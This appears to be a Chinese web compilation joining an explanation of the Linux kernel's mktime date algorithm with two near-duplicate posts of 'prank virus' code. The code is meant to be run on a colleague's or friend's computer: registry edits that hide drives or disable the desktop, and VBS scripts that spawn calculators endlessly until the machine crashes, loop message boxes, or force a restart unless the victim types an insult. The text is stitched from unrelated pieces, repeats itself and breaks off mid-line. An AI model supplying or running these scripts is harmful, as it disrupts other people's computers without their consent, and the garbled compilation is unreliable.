篇一:MKTIME源码
Linux源码中的
mktime算法解析
2010-08-11 11:08:43| 分类: 嵌入式开发 |字号大中小 订阅
Linux源码中的mktime算法解析 收藏
Linux源码中的mktime算法解析
我们知道,从CMOS中读出来的系统时间并不是time_t类型,而是类似于struct tm那样,年月日时分秒是分开存储的。
那么,要把它转化为系统便于处理的time_t类型,就需要算法进行转换。
我们都知道我们的公历还是比较复杂的,有大月小月,有闰年非闰年,处理起来会很麻烦。
但是Linux的源代码仅仅用了短短的几行就完成了这个复杂的转换(Gauss算法),实在令人惊奇。话不多说,先看源代码:
include/linux/time.h
static inlineunsignedlong mktime (unsignedint year,unsignedint mon, unsignedint day,unsignedint hour,
unsignedint min,unsignedint sec)
{
if (0 >= (int) (mon -= 2)) { /* 1..12 -> 11,12,1..10 */ mon += 12;/* Puts Feb last since it has leap day */ year -= 1;
}
return (((
(unsigned long) (year/4 - year/100 + year/400 + 367*mon/12 + day) +
year*365 - 719499
)*24 + hour /* now have hours */
)*60 + min /* now have minutes */
)*60 + sec; /* finally seconds */
}
看上去令人眼花缭乱,毫无头绪。下面就让我们对该算法作具体的分析。
先不看前面的,直接看return那句,该式整体上具有这样的结构:
T = ((X * 24 + hour) * 60 + min) * 60 + sec
这说明该算法是先算出从1970年1月1日开始的天数X,再进而求出具体的时间值T的。 因此我们重点看如何求天数X。也就是X = year/4 - year/100 + year/400 + 367*mon/12 + day + year*365 - 719499这一部分。
首先可以将上式拆成:
Y = year / 4 - year / 100 + year / 400
Z = 367 * mon / 12
W = year * 365 + day
X = Y + Z + W - 719499
Y很简单,它计算了从公元元年到所求年份为止所有的闰年数。从W式看出,该算法先假设所有年都是正常年(365天),再加上闰年额外的天数(式Y)。
到现在为止都算简单,关键是Z式和X式中的那个常数719499是怎么回事,似乎莫名其妙。还有就是它们和return语句前面的那个if判断有什么关系呢?
首先要澄清一点,常数719499并不是像很多人说的那样,是0001年1月1日到1970年1月1日所经历的天数。
不信你可以随手写个脚本,将得到正确的数字:719162天。
显然719162和719499是有关系的。我们把注意力放在那个if语句上:
mon -= 2;
if (mon <= 0) {
mon += 12;
year--;
}
很明显,它是想把1月和2月当作上一年年底的最后两个月,让3月作为一年的第一个月。这样一来,我们可以尽量少的被闰年所影响。
按照这个假设,让我们先不管Z式是怎么来的,看看0001年1月1日时,Y + Z + W等于什么:
mon = 1月变成上一年(公元前0001年)的11月;
year减一后变成了0,因此Y = 0;
Z = 367 * 11 / 12 = 336;
W = 1 + 0 * 365 = 1;
Y + Z + W = 337。
337这个数正好等于719499 - 719162!换句话说,它是对上述假设所做的补正!于是这些式子就变成了:
Y = year / 4 - year / 100 + year / 400
Z = 367 * mon / 12
V = Z - 337
W = year * 365 + day
X = Y + W + V - 719162
再来看式Z,这个式子表面看不出任何名堂,367这个数字显然很是奇怪。那让我们穷举一下mon,看看这个式子算出的都是些什么值吧:
monZ
1 30
2 61
3 91
4 122
5 152
6 183
7 214
8 244
9 275
10 305
11 336
12 367
似乎看出了什么?再让我们把相邻的两个mon的Z做一下减法看看:
mondZ
1 30
2 31
3 30
4 31
5 30
6 31
7 31
8 30
9 31
10 30
11 31
12 31
闻出点味道了吧,很象大小月的规则。让我们回想起那个if语句作了什么,它把1月2月变成了11月和12月,3月变成了1月!还原一下看看:
mon org-mondZ
1 330
2 431
3 530
4 631
5 730
6 831
7 931
8 10 30
9 11 31
1012 30
11131
12231
篇二:整人病毒代码
前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 PS:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面
如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。
把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中????
附带:print键截屏方法:
键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图!
用法一,按“Print Screen SysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。
用法二,先按住“Alt”键,再按 “Print Screen SysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。
哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试!
二、让电脑硬盘消失-隐藏磁盘方法
愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了!
步骤
1.新建一个记事本
2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg”
3.将下面的代码复制到记事本当中:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00
解释
(1)"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的
图中的D盘已经神秘消失了。
(2)A=01000000 B=02000000 C=04000000 D=08000000 E=10000000
F=20000000G=40000000 H=80000000 I=00010000 J=00020000 K=00040000
原理介绍:二进制值 “NoDrives”的缺省值均是00,00,00,00,表示不隐藏任何驱动器。键值由四个字节组成,每个字节的每一位(bit)对应从A:到Z:的一个盘,当相应位为1时,
“我的电脑”中相应的驱动器就被隐藏了。第一个字节代表从A到H的8个盘,即01为A,02为B,04为C??依次类推,第二个字节代表I到P,第三个字节代表Q到X,第四个字节代表Y和Z。比如要关闭C盘,将键值改为04,00,00,00;要关闭D盘,则改为 08,00,00,00,若要关闭C盘和D盘,则改为0C,00,00,00(C是十六进制,转成十进制就是12)。
理解了原理后,下面以笔者的电脑为例说明如何操作:笔者的电脑有一个软驱、一个硬盘(5个分区)、一个光驱,盘符分布是这样的:A:(3.5软盘)、 C:、D:、E:、F:、G:、H:(光盘),所以我的“NoDrives”值为“02 ff ff ff”,隐藏了B、I到Z盘。
还原方法
1.点击开始--运行,如图,在运行对话框中输入“regedit”,打开注册表编辑器。 2.依次打开
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer],将右侧窗口中"NoDrives"这个子键删除。
3.重新启动电脑。
三、空空的桌面
电脑桌面是用户最熟悉不过的了,电脑整人方法电脑启动之后首先呈现的就是桌面了,如果在愚人节你把你朋友的桌面给Hack掉了话,你的朋友是不是会发疯啊?
桌面是用户操作电脑首先进入的界面,电脑桌面空空如也,一望无垠的时候,你是否很无奈?原来这一切都是它在作怪!
如图整人后桌面清清爽爽,什么都没有!
方法步骤
1. 新建一个记事本
2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“桌面.reg”
3.将下面的代码复制到记事本当中:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDesktop"=dword:00000001
"NoSetTaskbar"=dword:00000001
解释:(1)"NoDesktop"=dword:00000001 这个键值是屏蔽桌面的;
(2)"NoSetTaskbar"=dword:00000001这个键值是禁用“任务栏属性”功能。
将信息导入到注册表之后,桌面图标、桌面右键、桌面属性的功能都被禁用了。
还原方法:
1.点击开始--运行,如图,在运行对话框中输入“regedit”,打开注册表编辑器。 2依次打开
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer],将右侧窗口中“NoDesktop”、“NoSetTaskbar”这两个子键删除。
四、让天使替我说我爱你
CreateObject("SAPI.SpVoice").Speak"i love you"
送给你女朋友她会高兴地,保存为.vbs格式
五、打开无数个计算器
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
这段代码是打开无数个计算器,直到死机 ,也是保存为.vbs格式
六、你被耍了
while(1)
msgbox "哈哈 你被耍了!"
loop
这段代码就比较坏了,一直弹出窗口显示"哈哈,你被刷了!"要是你不会结束它,只好重启电脑了,也是保存为.vbs格式
七、甩不掉的魔鬼
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
WScript.Echo("还剩48下,快点,小笨蛋!")
WScript.Echo("还剩47下对,就这样快点点!")
WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")
WScript.Echo("还剩45下,记得要快哦!")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下&
quot;)WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!!!慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
WScript.Echo("还剩11下,以后就看不到我拉。555555")
WScript.Echo("还剩10下,你现在可以选择停止!")
WScript.Echo("还剩9下。你还点啊,不要我拉?")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩7下。疯了,你有点负意!")
WScript.Echo("还剩6下。对。你就点吧,我恨你!")
WScript.Echo("还剩5下,不明白,删除我你就好吗?")
WScript.Echo("还剩4下!真要删除我?")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!")
WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!")
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
改成.vbs
八、说我是猪
on error resume next
dim WSHshellA
set WSHshellA =wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r-t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""
","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) +a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown-a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
这个运行后必须输入我是猪(当然你也可以改成别的,把代码中所有的我是猪换成你想改的, 比如说我爱XXX之类的,大家懂的 ),如果一分钟没输入我是猪,就会关机.也改成.vbs
九、被鬼附身的记事本
dim sh,str,a,i
setsh=createobject("wscript.shell")
sh.run "notepad" '打开记事本
do while sh.appactivate("无标题 - 记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!"'这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号) '并在str中输入按键的过程如:想输入“气死我了”就写 qisiwole1
sh.sendkeys "^ "
'解释上一行:呼唤中文输入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '发送虚拟按键
wscript.sleep 500 '打字速度。数值越小越快。
next
save=1 '如想保存则写1
if save=1 then
sh.sendkeys "^ "
'解释上一行:关闭中文输入法。如果是中文,则必须去掉上一行的注释。
sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:\name.txt" '文件名(可写路径),必须是英文。如果是中文模式,则必须将其关闭
篇三:整人“病毒”代码(一)
发表于 2013-10-23 10:33
前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。
PS:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。
一、怎么点都没反应的桌面
如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。
把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中????
附带:print键截屏方法:
键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图!
用法一,按“Print Screen SysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。
用法二,先按住“Alt”键,再按 “Print Screen SysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试!
二、让电脑硬盘消失-隐藏磁盘方法
愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了!
步骤
1.新建一个记事本
2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg”
3.将下面的代码复制到记事本当中:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives" =hex:08,00,00,00
解释
(1)"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的
图中的D盘已经神秘消失了。
(2)A=01000000 B=02000000 C=04000000 D=08000000 E=10000000 F=20000000G=40000000 H=80000000 I=00010000 J=00020000 K=00040000 原理介绍:二进制值 “NoDrives”的缺省值均是00,00,00,00,表示不隐藏任何驱动器。键值由四个字节组成,每个字节的每一位(bit)对应从A:到Z:的一个盘,当相应位为1时,“我的电脑”中相应的驱动器就被隐藏了。第一个字节代表从A到H的8个盘,即01为A,02为B,04为C??依次类推,第二个字节代表I到P,第三个字节代表Q到X,第四个字节代表Y和Z。比如要关闭C盘,将键值改为04,00,00,00;要关闭D盘,则改为 08,00,00,00,若要关闭C盘和D盘,则改为0C,00,00,00(C是十六进制,转成十进制就是12)。
理解了原理后,下面以笔者的电脑为例说明如何操作:笔者的电脑有一个软驱、一个硬盘(5个分区)、一个光驱,盘符分布是这样的:A:(3.5软盘)、 C:、D:、E:、F:、G:、H:(光盘),所以我的“NoDrives”值为“02ffffff”,隐藏了B、I到Z盘。
还原方法
1.点击开始--运行,如图,在运行对话框中输入“regedit”,打开注册表编辑器。
2.依次打开
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer],将右侧窗口中"NoDrives"这个子键删除。
3.重新启动电脑。
三、空空的桌面
电脑桌面是用户最熟悉不过的了,电脑整人方法电脑启动之后首先呈现的就是桌面了,如果在愚人节你把你朋友的桌面给Hack掉了话,你的朋友是不是会发疯啊?
桌面是用户操作电脑首先进入的界面,电脑桌面空空如也,一望无垠的时候,你是否很无奈?原来这一切都是它在作怪!
如图整人后桌面清清爽爽,什么都没有!
方法步骤
1. 新建一个记事本
2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“桌面.reg”
3.将下面的代码复制到记事本当中:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
\Explorer]
"NoDesktop"=dword:00000001
"NoSetTaskbar"=dword:00000001
解释:(1)"NoDesktop"=dword:00000001 这个键值是屏蔽桌面的;
(2)"NoSetTaskbar"=dword:00000001这个键值是禁用“任务栏属性”功能。 将信息导入到注册表之后,桌面图标、桌面右键、桌面属性的功能都被禁用了。 还原方法:
1.点击开始--运行,如图,在运行对话框中输入“regedit”,打开注册表编辑器。
2依次打开
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer],将右侧窗口中“NoDesktop”、“NoSetTaskbar”这两个子键删除。
四、让天使替我说我爱你
CreateObject("SAPI.SpVoice").Speak"i love you"
送给你女朋友她会高兴地,保存为.vbs格式
五、打开无数个计算器
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
这段代码是打开无数个计算器,直到死机 ,也是保存为.vbs格式
六、你被耍了
while(1)
msgbox "哈哈 你被耍了!"
loop
这段代码就比较坏了,一直弹出窗口显示"哈哈,你被刷了!"要是你不会结束它,只好重启电脑了,也是保存为.vbs格式
七、甩不掉的魔鬼
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
WScript.Echo("还剩48下,快点,小笨蛋!")
WScript.Echo("还剩47下对,就这样快点点!")
WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。") WScript.Echo("还剩45下,记得要快哦!")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!!!慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
WScript.Echo("还剩11下,以后就看不到我拉。555555")
WScript.Echo("还剩10下,你现在可以选择停止!")
WScript.Echo("还剩9下。你还点啊,不要我拉?")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩7下。疯了,你有点负意!")
WScript.Echo("还剩6下。对。你就点吧,我恨你!")
WScript.Echo("还剩5下,不明白,删除我你就好吗?")
WScript.Echo("还剩4下!真要删除我?")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!")
WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!")
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
改成.vbs
八、说我是猪
on error resume next
dim WSHshellA
set WSHshellA =wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r-t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""
","说不说","",8000,7000)
msgboxchr(13) + chr(13) + chr(13) +a,0,"MsgBox"
loop
msgboxchr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown-a",0 ,true
msgboxchr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
这个运行后必须输入我是猪(当然你也可以改成别的,把代码中所有的我是猪换成你想改的,
比如说我爱XXX之类的,大家懂的 ),如果一分钟没输入我是猪,就会关机.也改成.vbs
九、被鬼附身的记事本
dim sh,str,a,i
setsh=createobject("wscript.shell")
sh.run "notepad" '打开记事本
do while sh.appactivate("无标题 - 记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!"'这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不